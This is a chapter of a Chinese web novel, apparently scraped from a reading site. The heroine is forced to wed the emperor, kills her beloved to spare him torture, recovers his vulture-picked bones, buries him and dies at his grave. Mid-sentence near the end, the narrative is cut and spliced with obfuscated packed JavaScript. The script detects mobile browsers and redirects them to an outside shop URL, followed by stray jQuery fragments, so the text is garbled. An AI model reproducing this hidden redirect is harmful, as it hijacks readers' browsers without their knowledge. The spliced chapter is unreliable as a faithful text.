131. 殓骨
    玉华宫内的琴声好像裹满了细密小刺的糖,奏的明明是大衡有名的祝酒歌,却因演奏者的刻意放缓曲速,听起来并不欢愉、反而满含悲伤。

    这曲子就似演奏者的悲鸣,在玉华宫的富丽堂皇之下,遮掩着她那常人所不能触及的血泪。

    “小姐,您吃点儿饭吧。”阿罗拿着碗筷,近乎想要跪下来求她。

    可仍在奏琴的宋朝月依旧纹丝不动,她的眼睛里早没有了往昔的神采,从前笑起来如弯月一般的眼睛自孟祈死后,便成了一滩死水,再没有任何波澜。

    她亲手杀了他,那夜,见他眸中悲痛,她整个五脏六腑都像是被人狠狠握在手中挤压,快成了肉泥。

    宋朝月从来不觉得自己是个多么伟大之人,她虽帮了许许多多萍水相逢之人,可若真是有朝一日,要她在黎明百姓与亲人爱人之间选择,她会毫不犹豫选择后者。

    怎奈何,孟祈是前者。

    虽未亲口听孟祈说出,宋朝月却也知道他心中的答案。

    他愿意去死,可是宋朝月决不能眼睁睁看着他走入皇宫,走进这场专门为他布设的杀局。

    她要救他!

    宋朝月让阿弟给云方传信,要孟祈丢下一切快逃,决不可入宫!

    她多么希望孟祈能够为了自己活一次,自私地活一次。

    -

    宋朝月与褚临的大婚如期而至,褚临以这场鸿门宴为局,布下了一张绝不允许孟祈逃出的天罗地网,无论今日孟祈同意与否,他都得死。

    有时候褚临甚至觉得孟祈这个人很是古怪,他不愿承认却又不得不承认,这位整个大衡称颂的永翌王爷能力确实高于他。只可惜,他满腹竟都是那些个老夫子成日里爱在口中念叨的什么民生社稷。

    以十万人换他之性命,竟也是愿意。

    他敢以此为要挟,便是看透了孟祈的内心最深处的东西;而孟祈交出自己的命来,反而是看不清他究竟敢不敢以十万百姓相抵。

    一切的一切,都在褚临的步步算计之中。

    宋朝月穿上皇后的凤袍,头上那顶象征着母仪天下的金冠正重重地压着她的脖颈,压得她几乎喘不过气。

    一身龙袍的褚临悄然出现在他身后,面带笑容地看向她。

    他伸手,想要触碰一下宋朝月那张白瓷似的脸,却被对方堪堪躲过。

    褚临也不恼,他挥退了屋内给宋朝月穿衣打扮的宫女们,掐着她的下巴,强迫宋朝月看着镜子里的自己。

    “看啊,桑桑,今天的你多美啊。今日你就要嫁给朕,当初你为解孟祈身上的毒,毅然决然离开他走向我,从那时起,就再也无法回头了。所以,高兴些,别漏了破绽,我们的大喜日子,你可不能哭。”褚临说着,用指腹擦掉宋朝月脸上的泪,不过那神情之中,竟是毫无怜惜。

    “来人,娘娘妆花了,给朕重新化过!”

    褚临拂袖走出了玉华宫,礼官们正在热火朝天地忙着立后之事,却不知玉华宫内的女子,满面是泪,再难施粉黛。

    为后的之礼复杂繁琐,直到日头逐渐西沉,宋朝月才得以喘息,坐在裕园的金池轩内。

    她的掌心因紧张而不停地发着虚汗,连带着牙关都不自觉地颤抖。她不知道云方是否已经将消息递给了孟祈,也不知道孟祈是否已经逃离了笙歌。

    她在心里渴盼着,孟祈一定要逃走,一定要活下来。

    熟料这老天爷还是同她开了一个玩笑,他来了,带着贺礼来祝她新婚。

    宋朝月慌了,她用恶言来驱赶他,想叫他知道,自己不过是一个薄幸之人,让他彻底看清自己,走得远远的。

    只可惜,他还是坚定地站在原地,像从前一样望着她,眼中满是柔情。

    那一瞬宋朝月再一次意识到,孟祈对她之爱,早已经深入骨髓。她也突然意识到,若非是自己的背叛,或许,孟祈还会对于褚临所做的事有所反抗。

    只可惜,他爱她至此。在他眼中,既然自己选择了褚临,那么,他所有的反抗便再无意义。他已经失去了令他有斗争之心的那最后一点希望。

    只可惜宋朝月如此意识到的时候,已经为时已晚,这为孟祈设下的天罗地网,他再也逃不掉了。

    在明台殿内将要接受百官朝拜之前,她同褚临提了一个条件,孟祈的性命,交由她的了结。但在他死后,尸骨由自己处理。

    听到这话,褚临难掩诧异,这个为了孟祈甘愿屈服到了他身边,如今竟然想要亲手杀了他。

    宋朝月见他久久未应,一双殷红的嘴唇一开一合问他:“怎么?你不是最喜欢看孟祈深受痛苦与折磨吗?我亲手杀了他,必定能使你快意吧。”

    褚临知道宋朝月心中在想些什么,犹豫片刻,他答应了,他想,到时孟祈的表情一定会分外精彩。

    裕园里的景色早不复春夏之时那般美好,百草枯萎,再没了生机盎然的颜色。

    宋朝月听着身边的褚临高兴地同群臣宴饮,自己的眼睛却始终盯着桌下手中握着的那把匕首。

    这把匕首,过一会儿将要结束孟祈的性命。

    她不敢抬头去看底下的孟祈,她怕自己只要一看,眼泪便会忍不住留下来。

    耳边是欢腾之声,宋朝月盯着那匕首,心却在慢慢坠入深渊。

    她这般呆愣着坐了很久很久,久到宾客散尽,久到褚临唤她:“桑桑,时辰已到。”

    孟祈的丧钟已经在每个人心中敲响,她坐在原位,听着外面刀兵相接的声音。

    她听到孟梁被杀时孟祈的悲号,听到褚临冷酷无情的命令。她仰头,竭力忍住眼泪,不想叫过一会儿会被拖进来的孟祈看出端倪。

    一个多时辰后,外头的声音总算是平息了下来。

    她看见孟祈被拖了进来,腿骨腕骨已被折断,如同破布,毫无尊严。

    宋朝月死死咬住自己的舌头,尽快嘴里已经满是鲜血。这痛,却远不及心中之痛半分。

    褚临在她旁边开口同她说话,宋朝月囫囵吞下口中带着铁锈味的血,用手将嘴间鲜血遮掩住,回了他,然后看向孟祈。

    孟祈的眼中是悲愤,是绝望……

    看着他,宋朝月想:恨我吧,孟祈,恨透了我。下辈子,不要再喜欢上我……

    她手中握着匕首,说出那句她早已在心中反复练了许久的话。她一步步走向他,巨大的裙摆之下藏着她脚下的踉跄。

    孟祈抬头,望向她,眼中再没有了往昔温情,那里面如此藏着什么,宋朝月已经无力去探寻,她怕自己再多看一眼,便再也下不了手。如此,等着孟祈的只会是褚临无穷无尽的折磨。

    刀鞘被她缓缓抽开,扔到地上,桄榔一声响,宋朝月的心也跟着坠地。

    她闭眼,双手握紧匕首,朝孟祈的胸口处刺去,一时间,鲜血迸出。

    宋朝月彻底脱了力,她忍了一天的泪水也终于在此时滑落下来。

    她眼睁睁看着孟祈缓缓朝后仰去,他下意识伸手去捂住自己胸口的那个血洞,却又在触碰到那把匕首之际,将手抽离开。

    刺中一个人的心脏,是最快了结一个人的方式。

    宋朝月咬着舌头,双手捂着嘴,眼泪与鲜血混合留下。

    她看见,孟祈慢慢倒在了地上,原本还在动弹着的指头慢慢僵硬,身体也不再有起伏。

    他死了,他永远地离开了自己。

    宋朝月再也忍不住双膝扑通跪地,抱起浑身是血的孟祈,血泪大滴大滴的砸到他脸上。

    “孟祈!”她撕心裂肺地喊着他的名字,只是,怀里的人已经没了气息,亦无法回应于他。

    宋朝月颤抖着双手抚上孟祈还未闭上的双眼,掌心感受着属于他的温度。

    她从前很喜欢自后头踮脚捂住孟祈的眼睛,即便知道下一刻他就会拉开她的手,无奈地唤他一句桑桑。

    她喜欢孟祈的眼睛睁开时睫毛扫过自己手心的感觉,很喜欢,很喜欢……

    只是现在,这双眼睛再不能睁开。

    她挪开盖在孟祈眼睛上的手时,孟祈死未瞑目的眼睛已经阖上。

    孟祈身上的血渐渐染满了宋朝月的整个裙摆,她根本无所顾忌,朝下俯身,闭眼,在其唇上落下最后一吻。

    还在殿内的士兵无一不惊,褚临气急败坏地从后面走上来,将宋朝月生生从地上拽起,一巴掌扇到她脸上。

    宋朝月被如此大的力道扇倒在地,她听着褚临口中的责骂:“宋朝月,你别得寸进尺,你如今已经嫁我为妻……”

    他骂了些什么,说了些什么,宋朝月已经听不清了。

    她只是又爬着到了孟祈身边,再一次捧起将他抱在怀中,冲外面唤:“阿弟——阿弟——阿弟——”

    宋明泽腰间别着一把剑,从外面三两步跑到了他阿姐身边,抓着满是血污的手,安抚道:“阿姐,阿姐我在。”

    “你帮我把孟祈背回去,我背不动,我没有力气……”她说着,眼泪流得更加汹涌。

    见到这般样子的阿姐,即便是鲜少掉泪的宋明泽也红了眼眶。

    他看向阿姐那肿得高高的右脸,再看了眼上头的褚临。单膝跪在地上,拉起孟祈的一边胳膊搭在自己肩上,然后将人背到了自己背上就要往外走。

    姐弟二人同行,带着已死的孟祈。

    然他们走出不到十步,褚临的声音自身后响起:“慢着,今日,你们不能带走孟祈的尸骨。”

    宋朝月回头,看着褚临的眼中满是恨意,“你答应我的。”

    “我何时答应过你。”

    这话令宋朝月一下崩溃,她疾步跑到褚临面前,捡起地上那把匕首,就欲向褚临刺去。

    她自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037567|146967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然没有得逞,褚临身边的人早就将他围了起来,连带着在宋明泽背上的孟祈的尸身也跟着被夺走。

    “褚临,你不得好死,你这样的人,会永堕地狱的……”宋朝月被人拦着,像是彻底疯魔了一般。

    褚临负手冷冷看着他,无情地说道:“桑桑,你若不喜欢他,或许朕不会如此做。”

    宋朝月喉咙里已经发不出声音来,她无声地哭泣着,看着孟祈尸身被带走,可她却什么办法都没有。

    她被压回了玉华宫,那个为她而设的囚笼。

    她听不见来自外界的一点儿消息,成日目光呆滞地望着前方,成了一个再不会说话再不会笑的木偶。

    孟祈死后三天,这三天,宋朝月滴水未进,她似乎想用这种方式逼迫褚临。

    终于,在第五天,宋朝月已经无力从床上爬起来的时候,褚临来见了她。

    他坐在她的榻前,触碰着她毫无血色的已经凹陷下去的脸颊。

    这场以死相逼的斗争,终于是宋朝月获得了胜利。

    褚临答应她,只要她好好吃饭,在太医说她身子好了之后,便可以让她区别见孟祈。

    宋朝月答应了,每日宫人们送来什么,她就吃什么,即便随时随地都在吐,她还是咬牙将那些药、那些饭食,全都不剩地吃了下去。

    可如此这般一个月,宋朝月身体非但没有变好,情况反而是每况愈下。

    连太医院最有名的医士都说,她这是心病,用药,是医不好的。

    没办法,褚临叫来了宋明泽,要他带宋朝月去看孟祈。

    宋朝月被宋明泽带出了宫,他们去到一片乱葬岗之上。这里死寂非常,除了以腐肉为食的秃鹫,连带着鸟儿都不肯在这山上的枯木之上落脚。

    孟祈死后,便被丢到了这处,由着这秃鹫蚕食。

    看着这漫天盘旋的乌鸦与那可怖的秃鹫,宋朝月用她那双无神的眼睛看向宋明泽:“阿弟,他人呢?”

    宋明泽摇摇头,他也是才知道,孟祈被丢到了乱葬岗。

    这里的充斥着一股血肉腐烂的味道,昨夜才将下过大雪也未能将这味道掩盖住。

    乱葬岗上铺满了血,如此,他们要寻人便更加艰难。

    他们从天亮找到天黑,夜幕即将落下之际,宋朝月看见了一只秃鹫在地上正啃食着什么东西。

    她毫不畏惧地扑了过去,吓得宋明泽立刻搭弓拉箭射死了那只会食人肉的秃鹫。

    宋朝月跑到那处,一脚将已死的秃鹫踢开,已经被冻得通红麻木的双手伸手去刨那雪堆。

    这尸体已经被秃鹫吃得只剩下一具骨架,早已分辨不清容貌。

    宋明泽站在宋朝月身边,开口劝道:“阿姐,天黑了,咱们回去吧,明日再来。”

    宋朝月却充耳不闻,自顾自地将这具尸身上覆盖着的雪尽数扫开。

    眼见劝不动,宋明泽又蹲在地上同她一起。

    宋朝月先是在挖出了一节断了的腕骨,然后要宋明泽赶紧挖一挖底下,看这具骸骨的腿骨是否折。

    他们如此挖了一整天,终于宋明泽从雪地里拿出来一节已经断了的右腿骨,还有,一个刻着槐字的玉貔貅。

    宋朝月捧着那个孟祈的玉貔貅,像回了魂一般,她将孟祈的骸骨尽数捡起来,脱下自己的斗篷,将四分五裂的孟祈骸骨拢进了自己的斗篷之中。

    宋明泽害怕宋朝月冻出什么毛病,又将自己的披风脱下来盖住阿姐,一路揽着她回了宋府。

    在这里,孟祈才有了一个棺桲,宋府上上下下挂着灵幡,宋朝月就这般守在孟祈的灵前,这么多天,来了孟晋年、孟文英、云方,除此之外,再无一人前来悼念。

    到了孟祈要下葬的日子,宋朝月抱着他小小的棺桲,同早已长眠的他说:“我带你回扶梦,让你回到你母亲身边。”

    宋明泽护着宋朝月,一路南下,去到了扶梦县。

    他们在孟祈母亲身边挖了一座新坟,将孟祈好生安葬在此。

    光景一直跟在这姐弟二人身边,在扶梦县七日后,光景终于忍不住开口,同宋朝月说道:“娘娘,陛下所限之期已到,还请跟属下回吧。”

    宋朝月回头看他,淡淡地应了一声好。

    “我一个人想再去看看他,看过之后,明日便回。”

    宋明泽跟在阿姐身后,想要随她一道,却被其止住:“阿弟,我想一个人跟他说说话。”

    她走了,却再也没有回来。

    宋明泽在一个时辰后去寻她时,只见她靠在孟祈的墓碑上,嘴角含笑,安静闭着眼睛离开了人世间……

    “我阿姐离开的那日,正好是我二十二岁的生辰……”宋明泽望向远方,哽咽道:“自那年过后,我的再没有过过最喜欢的生辰。”

    他转头看向孟祈,见他早已泪流满面……